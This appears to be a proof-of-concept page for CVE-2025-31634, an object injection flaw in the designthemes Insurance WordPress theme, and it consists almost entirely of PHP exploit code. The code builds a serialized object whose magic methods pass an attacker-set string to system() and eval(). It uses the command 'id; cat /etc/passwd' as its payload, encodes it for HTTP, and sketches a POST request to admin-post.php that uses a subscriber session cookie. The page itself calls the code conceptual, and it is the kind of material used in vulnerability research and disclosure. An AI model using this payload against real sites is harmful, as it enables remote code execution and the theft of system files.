CVE-2025-31634：designthemes Insurance主题PHP对象注入漏洞

<?php // CVE-2025-31634 - designthemes Insurance Theme PHP Object Injection PoC // Vulnerability: Deserialization of Untrusted Data allowing Object Injection // Affected: Insurance theme <= 3.5 // Example malicious serialized payload leveraging PHP magic methods // This is a conceptual PoC showing the attack vector class MaliciousObject { public $command; public function __wakeup() { // Triggered during unserialize() - executes arbitrary code if (isset($this->command)) { system($this->command); } } public function __destruct() { // Triggered when object is garbage collected if (isset($this->command)) { eval($this->command); } } } // Construct malicious serialized object $payload = new MaliciousObject(); $payload->command = "id; cat /etc/passwd"; // Serialize the payload $serialized = serialize($payload); echo "Malicious payload: " . $serialized . "\n"; // Base64 encode for HTTP transmission $encoded = base64_encode($serialized); echo "Base64 encoded: " . $encoded . "\n"; // Example HTTP request to exploit the vulnerability: /* POST /wp-admin/admin-post.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_[hash]=<subscriber_session_cookie> Content-Length: [length] action=[vulnerable_action]&serialized_data=[base64_encoded_payload] */ // Note: Real exploitation requires: // 1. A valid subscriber-level WordPress account // 2. Knowledge of the specific vulnerable endpoint and parameter // 3. A POP chain compatible with the theme's loaded classes ?>